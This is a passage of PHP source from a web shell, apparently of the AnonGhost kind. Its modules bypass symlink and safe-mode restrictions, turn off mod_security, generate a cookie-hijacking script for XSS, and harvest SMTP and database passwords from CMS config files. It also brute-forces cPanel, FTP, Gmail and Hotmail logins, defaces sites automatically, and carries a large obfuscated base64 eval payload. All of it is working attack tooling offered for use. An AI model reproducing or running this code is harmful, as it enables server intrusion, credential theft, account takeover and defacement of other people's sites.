echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| who:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| who:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr><tr>';
if(ini_get('gcc') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp; gcc:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp; gcc:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('tar') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| tar:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| tar:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('du') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| du:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| du:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('dir') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| dir:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| dir:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('wget') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| wget:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| wget:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('date') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| date:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| date:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr><tr>';

if(ini_get('gzip') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp; gzip:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp; gzip:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('sh') == '1'){
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| sh:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| sh:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr>';
echo '</table></center>';

}

//////////////////////  vHost  ////////////////////
			elseif(isset($_GET['x']) && ($_GET['x'] == 'vhost'))
            {
	echo "<form method='POST' action=''>";
	echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Bypass Symlink vHost</span><div class=content><br><br>";
	echo "<center><input type='submit' value='Bypass it' name='Colii'></center>";
		if (isset($_POST['Colii'])){ system('ln -s / Rintoar.txt');
			$fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';
			$file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $Bok3p = symlink("/","Rintoar.txt");
			$rt="<br><a href=Rintoar.txt TARGET='_blank'><font color=#ff0000 size=2 face='Courier New'><b>
	Bypassed Successfully</b></font></a>";
			echo "<br><br><b>Done.. !</b><br><br>Check link given below for / folder symlink <br>$rt</center>";} echo "</form>";}
//////////////////////  SMTP  ////////////////////
			elseif(isset($_GET['x']) && ($_GET['x'] == 'smtp'))
            {
echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
	function scj($dir) {
		$dira = scandir($dir);
		foreach($dira as $dirb) {
			if(!is_file("$dir/$dirb")) continue;
			$ambil = file_get_contents("$dir/$dirb");
			$ambil = str_replace("$", "", $ambil);
			if(preg_match("/JConfig|joomla/", $ambil)) {
				$smtp_host = ambilkata($ambil,"smtphost = '","'");
				$smtp_auth = ambilkata($ambil,"smtpauth = '","'");
				$smtp_user = ambilkata($ambil,"smtpuser = '","'");
				$smtp_pass = ambilkata($ambil,"smtppass = '","'");
				$smtp_port = ambilkata($ambil,"smtpport = '","'");
				$smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
				echo "SMTP Host: <font color=#ff0066>$smtp_host</font><br>";
				echo "SMTP port: <font color=#ff0066>$smtp_port</font><br>";
				echo "SMTP user: <font color=#ff0066>$smtp_user</font><br>";
				echo "SMTP pass: <font color=#ff0066>$smtp_pass</font><br>";
				echo "SMTP auth: <font color=#ff0066>$smtp_auth</font><br>";
				echo "SMTP secure: <font color=#ff0066>$smtp_secure</font><br><br>";
			}
		}
	}
	$smpt_hunter = scj($dir);
	echo $smpt_hunter;
}
/////////////// SAFE MODE ////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'safemode'))
            {
mkdir('agsm', 0755);
    chdir('agsm');

$agsm = 'PGhlYWQ+IDx0aXRsZT5CeXBhc3MgU2FmZU1vZGU8L3RpdGxlPjwvaGVhZD48bGluayByZWw9IlNIT1JUQ1VUIElDT04iaHJlZj0iaHR0cDovL3d3dy5pY29uai5jb20vaWNvL2wvbS9sbWE5OTJkcjQxLmljbyI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj48IS0tIGJvZHkge2JhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyYW50OwltYXJnaW4tbGVmdDogMHB4OyBtYXJnaW4tdG9wOiAwcHg7IHRleHQtYWxpZ246IGNlbnRlcjsgTmV3O2ZvbnQtc2l6ZToxMnB4O2NvbG9yOiM1OEZBRjQ7Zm9udC13ZWlnaHQ6NDAwO30NCmF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiM1OEZBRjQ7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDgwODA7fSBhOmhvdmVye2NvbG9yOiNmZjAwMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwYTJhMjt9IC0tPjwhLS0gTWFkZSBCeSBWaXJ1c2EgV29ybSAtLT48L3N0eWxlPjxicj48YnI+PGJvZHk+PHRyPjx0ZD48Yj5CeXBhc3MgU2FmZU1vZGUgMTAwJTwvYj48L3RkPiA8YnI+PGJyPjx0ZD4gPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+IC0gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnlwYXNzIiB2YWx1ZT0iQnlwYXNzIj4gPC9mb3JtPiA8P3BocCBpZigkX1BPU1RbJ2J5cGFzcyddKSB7ICRtb2RzZWNieSA9IEBmb3BlbigiLmh0YWNjZXNzIiwidyIpOyBmd3JpdGUoJG1vZHNlY2J5LCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+IFNlYy0tLS0tLUVuZ2luZSBPZmYgU2VjLS0tLS0tU2NhblBPU1QgT2ZmIDwvSWZNb2R1bGU+Jyk7IGZjbG9zZSgkbW9kc2VjYnkpOyAkcGhwaW5pc2VjYnkxID0gQGZvcGVuKCJwaHAuaW5pIiwidyIpOyBmd3JpdGUoJHBocGluaXNlY2J5MSwnc2FmZV9tb2RlPU9GRiBkaXNhYmxlX2Z1bmN0aW9ucz1OT05FJyk7IGZjbG9zZSgkcGhwaW5pc2VjYnkxKTsgZWNobyAiLmh0YWNjZXNzID0gYnlwYXNzIGNvbXBsZXRlLjxicj5waHAuaW5pID0gYnlwYXNzIGNvbXBsZXRlLjxicj48YnI+IjsgfSA/PiA8L3RkPjwvdHI+IDwvYm9keT48L2h0bWw+';

$file = fopen("agsm.php" ,"w+");
$write = fwrite ($file ,base64_decode($agsm));
fclose($file);
    chmod("agsm.php",0755);
echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Bypass SafeMode by Mauritania Attacker & Kaizen</span><br><div class=content><iframe src=agsm/agsm.php width=70% height=60% frameborder=0></iframe>"; }
//////////////////////  APACHE  ////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hijack'))
            {
echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost Cookie Hijacking</span><br><div class=content>";
global $cookie_highjacker;
    echo "<center><h2><font color=#FF0000>NOTICE</font></h2><hr width='50%'><br>";
    if(function_exists('fopen') && function_exists('fwrite'))
    {
        $cook=gzinflate(base64_decode($cookie_highjacker));
        $han_le=fopen("cookie.php", "w+");
        if($han_le)
        {
            fwrite($han_le, $cook);
            echo "Yes... Cookie highjacker is generated.<br /> Name : <a style='color:green;' target=_blank href=cookie.php>cookie.php</a></font><br /> Rename it as 404.php or what you like and highjack cookie of your target.<br />It is usefull in XSS<br />It will make a file <font color=red>configuration.txt</font> in this direcory and save the cookie value in it. :p cheers...<br /><br /><hr width='50%'><br /><br /></center>";
        }
        else
        {
            echo "<font color=red>Sorry... Generate COOKIE HIGHJACKER failed<br /><br /><hr /><br /><br /></center></div>";
        }
    }
}

//////////////////////  APACHE  ////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cpbrute'))
            {
echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>CPanel/FTP Auto Deface</span><br><div class=content>";
if($_POST['crack']) {
		$usercp = explode("rn", $_POST['user_cp']);
		$passcp = explode("rn", $_POST['pass_cp']);
		$i = 0;
		foreach($usercp as $ucp) {
			foreach($passcp as $pcp) {
				if(@mysql_connect('localhost', $ucp, $pcp)) {
					if($_SESSION[$ucp] && $_SESSION[$pcp]) {
					} else {
						$_SESSION[$ucp] = "1";
						$_SESSION[$pcp] = "1";
						if($ucp == '' || $pcp == '') {
							//
						} else {
							echo "[+] username (<font color=#ff0066>$ucp</font>) password (<font color=#ff0066>$pcp</font>)<br>";
							$ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
							$ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
							if((!$ftp_login) || (!$ftp_conn)) {
								echo "[+] <font color=#ff0066>Login Gagal</font><br><br>";
							} else {
								echo "[+] <font color=#ff0066>Login Sukses</font><br>";
								$fi = htmlspecialchars($_POST['file_deface']);
								$deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
								if($deface) {
									$i++;
									echo "[+] <font color=#ff0066>Deface Sukses</font><br>";
									if(function_exists('posix_getpwuid')) {
										$domain_cp = file_get_contents("/etc/named.conf");
										if($domain_cp == '') {
											echo "[+] <font color=#ff0066>gabisa ambil nama domain nya</font><br><br>";
										} else {
											preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
											foreach($domains_cp[1] as $dj) {
												$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
												$user_cp_url = $user_cp_url['name'];
												if($user_cp_url == $ucp) {
													echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
													break;
												}
											}
										}
									} else {
										echo "[+] <font color=#ff0066>gabisa ambil nama domain nya</font><br><br>";
									}
								} else {
									echo "[-] <font color=#ff0066>Deface Gagal</font><br><br>";
								}
							}
							//echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
						}
					}
				}
			}
		}
		if($i == 0) {
		} else {
			echo "<br>sukses deface ".$i." Cpanel by <font color=#ff0066>Security Ghost</font>";
		}
	} else {
		echo "<center>
		<form method='post'>
		Filename: <br>
		<input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
		Deface Page: <br>
		<input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
		USER: <br>
		<textarea style='width: 450px; height: 150px;' name='user_cp'>";
		$_usercp = fopen("/etc/passwd","r");
		while($getu = fgets($_usercp)) {
			if($getu == '' || !$_usercp) {
				echo "<font color=#ff0066>Can't read /etc/passwd</font>";
			} else {
				preg_match_all("/(.*?):x:/", $getu, $u);
				foreach($u[1] as $user_cp) {
						if(is_dir("/home/$user_cp/public_html")) {
							echo "$user_cpn";
					}
				}
			}
		}
		echo "</textarea><br>
		PASS: <br>
		<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
		function cp_pass($dir) {
			$pass = "";
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				if(!is_file("$dir/$dirb")) continue;
				$ambil = file_get_contents("$dir/$dirb");
				if(preg_match("/WordPress/", $ambil)) {
					$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."n";
				} elseif(preg_match("/JConfig|joomla/", $ambil)) {
					$pass .= ambilkata($ambil,"password = '","'")."n";
				} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
					$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."n";
				} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
					$pass .= ambilkata($ambil,'password = "','"')."n";
				} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
					$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."n";
				} elseif(preg_match("/client/", $ambil)) {
					preg_match("/password=(.*)/", $ambil, $pass1);
					$pass .= $pass1[1]."n";
					if(preg_match('/"/', $pass1[1])) {
						$pass1[1] = str_replace('"', "", $pass1[1]);
						$pass .= $pass1[1]."n";
					}
				} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
					$pass .= ambilkata($ambil,"db_password = '","'")."n";
				}
			}
			echo $pass;
		}
		$cp_pass = cp_pass($dir);
		echo $cp_pass;
		echo "</textarea><br>
		<input type='submit' name='crack' style='width: 450px;' value='Hajar'>
		</form>
		<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
	}
			}
//////////////////////  APACHE  ////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cpcrack'))
            {
echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>CPanel Crack</span><br><div class=content>";
if($_POST['crack']) {
		$usercp = explode("rn", $_POST['user_cp']);
		$passcp = explode("rn", $_POST['pass_cp']);
		$i = 0;
		foreach($usercp as $ucp) {
			foreach($passcp as $pcp) {
				if(@mysql_connect('localhost', $ucp, $pcp)) {
					if($_SESSION[$ucp] && $_SESSION[$pcp]) {
					} else {
						$_SESSION[$ucp] = "1";
						$_SESSION[$pcp] = "1";
						if($ucp == '' || $pcp == '') {

						} else {
							$i++;
							if(function_exists('posix_getpwuid')) {
								$domain_cp = file_get_contents("/etc/named.conf");
								if($domain_cp == '') {
									$dom =  "<font color=#ff0066>gabisa ambil nama domain nya</font>";
								} else {
									preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
									foreach($domains_cp[1] as $dj) {
										$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
										$user_cp_url = $user_cp_url['name'];
										if($user_cp_url == $ucp) {
											$dom = "<a href='http://$dj/' target='_blank'><font color=#ff0066>$dj</font></a>";
											break;
										}
									}
								}
							} else {
								$dom = "<font color=#ff0066>function is Disable by system</font>";
							}
							echo "username (<font color=#ff0066>$ucp</font>) password (<font color=#ff0066>$pcp</font>) domain ($dom)<br>";
						}
					}
				}
			}
		}
		if($i == 0) {
		} else {
			echo "<br>sukses nyolong ".$i." Cpanel by <font color=#ff0066>Security Ghost</font>";
		}
	} else {
		echo "<center>
		<form method='post'>
		USER: <br>
		<textarea style='width: 450px; height: 150px;' name='user_cp'>";
		$_usercp = fopen("/etc/passwd","r");
		while($getu = fgets($_usercp)) {
			if($getu == '' || !$_usercp) {
				echo "<font color=#ff0066>Can't read /etc/passwd</font>";
			} else {
				preg_match_all("/(.*?):x:/", $getu, $u);
				foreach($u[1] as $user_cp) {
						if(is_dir("/home/$user_cp/public_html")) {
							echo "$user_cpn";
					}
				}
			}
		}
		echo "</textarea><br>
		PASS: <br>
		<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
		function cp_pass($dir) {
			$pass = "";
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				if(!is_file("$dir/$dirb")) continue;
				$ambil = file_get_contents("$dir/$dirb");
				if(preg_match("/WordPress/", $ambil)) {
					$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."n";
				} elseif(preg_match("/JConfig|joomla/", $ambil)) {
					$pass .= ambilkata($ambil,"password = '","'")."n";
				} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
					$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."n";
				} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
					$pass .= ambilkata($ambil,'password = "','"')."n";
				} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
					$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."n";
				} elseif(preg_match("/client/", $ambil)) {
					preg_match("/password=(.*)/", $ambil, $pass1);
					$pass .= $pass1[1]."n";
					if(preg_match('/"/', $pass1[1])) {
						$pass1[1] = str_replace('"', "", $pass1[1]);
						$pass .= $pass1[1]."n";
					}
				} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
					$pass .= ambilkata($ambil,"db_password = '","'")."n";
				}
			}
			echo $pass;
		}
		$cp_pass = cp_pass($dir);
		echo $cp_pass;
		echo "</textarea><br>
		<input type='submit' name='crack' style='width: 450px;' value='Crack'>
		</form>
		<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
	}
}
//////////////////////  APACHE  ////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'gmail'))
            {
echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Gmail & Hotmail Brute Force</span><br><div class=content>";
set_time_limit(0);
error_reporting(0);

class s1{

private $adres = array(
'gmail' => '{imap.gmail.com:993/imap/ssl}',
'hotmail' => '{pop3.live.com:995/pop3/ssl}'
);
private $imap;
function __construct($gelen1,$gelen2){

$uname     = explode("rn",$gelen1);
$pwd     = explode("rn",$gelen2);
foreach($pwd as $pass){
$pass = trim($pass);
foreach($uname as $user){
$user = trim($user);

if(preg_match('@gmail@si',$user)){
$this->baglan($this->adres["gmail"],$user,$pass);
}else{
$this->baglan($this->adres["hotmail"],$user,$pass);
}
}
}
}

public function baglan($url,$user,$pass){

$this->imap = imap_open($url,$user,$pass);
if($this->imap){
echo "<span id='cikti' >$user => $pass </span><br />";
}
}
function __destruct(){

imap_close($this->imap);

}
}

echo '<br /> <center><div id="form">
<form id="form" method="POST" >
<textarea class="area" name="mail" rows="20" cols="28">Put Emails You Want To Cracker here ^_^</textarea>
<textarea class="area" name="sifre" rows="20" cols="28">Put Your Password List Here ^_^</textarea> <br /> <br />
<input type="submit" id="submit" value="Brute !" />
</form><br>
</div>
<div id="sonuc"> ';


if($_POST){
$mails = $_POST["mail"];
$sifre = $_POST["sifre"];

if((isset($mails)) and (isset($sifre))){
$s1 = new s1($mails,$sifre);
}
}
         echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Coded By : Mauritania Attacker & Fixed by Kaizen</font></p>";
echo '</center></div> ';
}
//////////////////////  APACHE  ////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'skype'))
            {
$agsky ='PD9waHANCnByZWdfcmVwbGFjZSgiLy4qL2UiLCJceDY1XHg3Nlx4NjFceDZDXHgyOFx4NjdceDdBXHg2OVx4NkVceDY2XHg2Q1x4NjFceDc0XHg2NVx4MjhceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1XHgyOCdsWnJMcnVTNEVVVDNCdndQalVZdjdNMmdKQ1pKQ1kzNWs5clVjK1cxMFo5dk1YaUMxSzB4R3BoRjRWNnBLRDd5RVJHWnFoKy9IdS9IODl1M1AvNzg5djM2cTE2T3ozcjlWZkx4cWRkZitUMnYyM2ZsY1h5VzQ1UDZ2WFU3UHNmMzZ6RnVmUjJmVy85ZjM3WDdqLzQzSDMvck1UYVY0NU5QMTdYZisvTDk4dlU2MHVuNm1DdHRIK1ByMS9uaTQvbTBmOHlYUDc0dnYxbnZjejl0di9HYjgveS8vWDJlLzNPK3ovWE84NldQL2FXUDlZK3g4V20vMysydi9IVzl2L1U4NTF1UGZkZkQxL240dmh6M1l1dDJxN25QSDN1ZnR4eWYydXgvZkYranoxRmVQUE04cmc5YnhIR2RpSzBjek5QbXp0MVhXci9OZjhSVlB1YXFiZjRXaysvK1hSdGJ2QmYyNjNPMldHeHp0UFgwWFBReGl1L2NmYUY0SUw3YmMyMVBpdkcxNTBDN1Y0SzFtaTlyWDN0MWJ0eTVsMWg3Ny9mYVdUUHh0OTc3WFBFZ1YrNTlMem4xY2UyNjNjOFg3RWRzeUY2NW4xM2ZiL2huWlk0YjU5bjYzRnFiZTdxT2J0UG1NOW03OUxsem1iR3UvSWcrdCt5MVlzZm9lMnpyYU15bDI3ck5HOWhZNThyZEwrVjh2Y3p4MnZNRis3WjFib3hML0dWTVBaMnQ3VlBueGE0K3YzTHJnbTFXN1BQdTV5OWwycTZ5aDNiZGZPZHJ4ZDZkL2V6OXV2bStyVnM1UTV0ZjUxbkJ1K2puc0QvYlhMSmw0S2U5MzIveHJoaVB2ajg5UzE2ME04Z213Ym1XdVllMm52ejE0blB2TWFpOXR6MC95U09lYjdabzM5bVg4dTJyNzZuWmRweHQ3K3RYOXFaelI0L0Q1b3NBZTFvTzZOcTVzekxmZzcrTWFYYk81STdzY2VzNXBYTlYxdC9KcVRydEtMekpmZi9OZG0xdnpnblpadTgrVi80WDRuY0ZJNXhQdGMvVjVwV2ROODRSeE9rYnV5d25yTW5rSmpIUXZ2Y3piUjdaOXRibjFmNGRsOHhoYnFyTEtkOHIrZkhvZGkzNFFuYmIram9GSHl2MkwrRGx1L3RLKzNqTm1KR3RiOWlJZk1pY3Zmazk4R0dMaVhhV0FNOTBabU1oMkNjY2ZJSkpUL3ovNk04bThsRTRiV3dMOElQbmpQMk9peFdiTmgrMVp4b1dpTXRPKzNFZUdrdGJMQVFhSWRBUWJYNWp0K0x3eVp5dmJqZjU2RWFNYmYxTWxieXY4SnZ5RTc5WE9GNDQ1dmd4SjVBM0drZmNCUG5Xdmg5Y3RLTm5tS3ZnL3hFWG5vKzR5VjR6WThOdGptL3gwZndtN1VSdWFUM21sZC93Y3pVbitoeWw1NnR0ckpnRGo5dXptaGVmdEJ3cWNGZ2JvL2tmSjgxRHJ2VjF2Ly84NXo5Ky9GcTIvTEMyVTc0NVR1N2c1aE9mUnNkQytYeUJHKzVnNllXNGd2TVROa3JZckdEZmJPMTBtL252Y2NxTnhMcXBuMW5qRWptMGRUL0szNEVQSHZqakNhZkFJNG9aNS9DS0pzam9odVhyR01YbmpqK01hUVZleDc5alh5KzREandWMWo3d1cySS8rRTZ4bTNxOHBtM0daeUsvNWR1RWpiaHZ6TWhvb2tvc09VZU4wVzFOYzV3NVRCcG83WHRzZVMrZTlMMkN2YTFWVGpIblhLbndrYkVvd3p2SzBRYzJEckM5ZGg5a3RGY0JBeklZbk1HVmhLK1VHOFNDT1BtQy9WYk94Yjd6ZHRyTEV6dGNKaTVXL0N1L1drYysrdnptSjJOVHdOZlNqZThUWG9CTjR1cVQ3UlNEQ3hyT3R0dUo1UXhtR1FQS3pMOWl6Q3Z3eTRZZDBCZ0ZqU1NNdS9XNWRaWUsxNWdEbGhPLzdIQjU2Zk1aTHhJYVRqWXpCaTNnYXBuNElvNkEzOW85WHd2MzJLOXkrM0VkbWlCZjVua0MzUkxXUHN5cldEV21saGtQMW5lVi9ZdDNzSWxpNDhsOGFEZjUyYno1Z09Pc0RhekZLM2x5Njk4bGRJNXRXY0NHUUY5b0QvQ2s4Q1p6ZnNjRWZuVzlKWnRhUTdpbTJEa3puS0cxMlV0MUhZTUdFWi9VSHJmdFk5elcyU3YvUDN0TXlPZlA2OUNTNHJuM2pEbkZpK1BJdFF4NEtQNG10dVF6ZU1tMmJOZXlILzluL09PNjEvbGMwUTdKdWpuTmVBaTAvOUN1TCtiZDBHU1hQdDQxZ0dLVldzR2FSdWNrRm9xNTc5bnpUSnhSSjhjR21sTzVDUVpiNzhjNlk3YmE1MHMvWTRJcml2VmJtZlpQNkhHZGErM3hON0RuUGpFb20vTmRKNkRWRTF5VTBaVE9jOFVUOFNlZmdGbUtPZWZVQXU4Uk4wRytGZXBUMjAxK0JvT0VEK2dSOFMyYVJySHhCUDl2cDFqY2lFZkdKbmloMEZzcDZEMWpxZmlIV3RvNlZmeXhuT0tFZWlmZ20wenRsY2tYM2JldWVhTTdxSDJGTlQ0Zk5aVjAycVhIc001QS9CYm1LZFR4cmlzcnVxemxjclZXM1pnL3NBLzFrWEpqQmR1TmRYQmt6VE4vekMrcUI2aDc2elk1V2ZQdFBZOXJtYndpdmdCSFpTUFhxZGl6T0I1dmFJaTEreUZUZjdjenl3L0dwUWY3Qzg0TTF3Zzc5cjZHOTJDT2pUcDVxVnFEWEs1RG40NTZqZmdKOGtXMnhCOUozTisxM2JiRjBIYXVDNFZCZS9lejZ3ZHpsalRJRzR3R1Q2d0ZBbDliLzZ6a1FDWVBoYjFiSDZNNGRvMVlpSUYzSDFQUmJxN1RoUW5XNzl0MTF0clV1NW1hZXZSRDRFUDNiNXE5RTNWMVJtc1hiQ2RNdTNRYkpmUkpSWTlWcmd1OUJNZC9kWXhSbStSVERTL3NKd2JFYTNmMmhmMkVYMXlQUGg3OUUrdmxzcC93aG53ckhndC9wbFBmSXBIZnJxdXo4WUo0RGJpem9JT3N3NFBlZ0dOKzlEWXFlR3d0QkdhV1UreXJmbkF2ejd6aFB0QlpkKzNFMFAwNitselNTVGZPdWVCVE1OOWNQV3FqaFRPeWJnYkR4R2RsK3JqQ3RjcWRrOTRvNUwzcksyRVp1cXE0N2tPTEZYUys2d2lkK2RYM3NPTExRajNyMnFLU0orb3J1YTV6WFgwQkw1ZXBCUk84N0I2R2ZFTGQ2cHJiL1l0a1RiZVE5OVlTeit2b2pZVzVxckxuak0zUUVjSVBzRm5YZDNKdG5Ud21QdDdaTit0bjR5dDVhMDBjakZOTmhQMFNQRmZkNzBMdm0vc3JkYm81eDMzR0lPWnR3d3gvWmJSMldCdHpIc2VpKzZjWnJhVjhkTytnb0QvYzY4VnVsZDZlWXRJODRGd3VVNHVvbHdNT0IxaHRqYXJZQlUrQzlTdTVPYlFBK1NjOWdFN0xhRXp4QXoyclNyMHMvQy9FQWJyQWZlYU1ud0svSmZBcmJkTld5cVBYNUVUbEIxd2hET1I4bVpoUDFpZlUyTVUyUXJzV2RHNW1uR3ViMFF1alRrM1dVUFFUN0I5aGF5VlB5SzEwbVRtWTNkKzZYWWRHcy82eHRxbm9sb3gyRTgrNExuU2RiSjNtWERKbTNmQVR2bEFPZ3ZuU0tQQnFvYi91dnJmckFOa2NIdzVlTno3Y1RybEFyZU96dXdZU3hzQmIxWnA4N2Z0eVhSRm80N0IyTStZOTRhRUxzVWdNVnZTNis0bURJMlBtbnVhSE4vWDl5YmRwbnpraDdNL1lrWHhKeGhockl6U05jVHl4bG10NTVTcTQ3aDZzOU00cG50MmZyZGI5MUhxVmVEYWV1MjUxLzkzMTB1QU9jaVdJdVhCZVg0Z0o2dnBLTDZZU2x3VitrR1l5ZDZGTlhLTzVSK1MrU0xYK2gwY1NlYWQ5SnZiaHVocU5yZjRsbWxwWTVCN05hV3pRenpGditCMmNlbGZPZS82bU9uWFY2TVY2UCs3bFVKc0hmamVuQi9rWGU5ZDI5OGpGMms1MlBNMlRqRXV1RSs3elBZcDBXNWthd1AwVzRUczZyZElmY3EyVnFHVmNnMlhYUlBScmJQdGhkM0ovdk50Y1p4Nk4zcTM1OUVVK3ZDYzJDS3VJTTluaWRSM3ZhWDFkNGNpRS94VERyc1hvSFF3L1BycTlnL281bVEvQjlwVzZSVDdKTTZhY040RTJGaDQrcitOOVJHQzNBRDhjejhJM05LcjBIM3Fzb2plMU56REI5YnJqSm96bjF0d0JweGtMVi9hUC90Yi90NGwxd295Rm1zTjlBdHNKYnZVZVZyUys4aUN1b3pkay9ncDQwWDB2MTl1dXY1UUR4bkI4R0dueWdYdWh4anh6YndhclYzenBlc2k1TmZycjhFMjRuMExOYUYxaExuVmZ6TFZ5dWM5blhlOXBmL2ZyZUI4OE5CZm5XKzhUUDZxeEZNMGsyMXZiZ1N1ZVArV1RQcndUeTJqMDFab1N6SE0vWmVnbzkxQ0lKZUhKNHpwN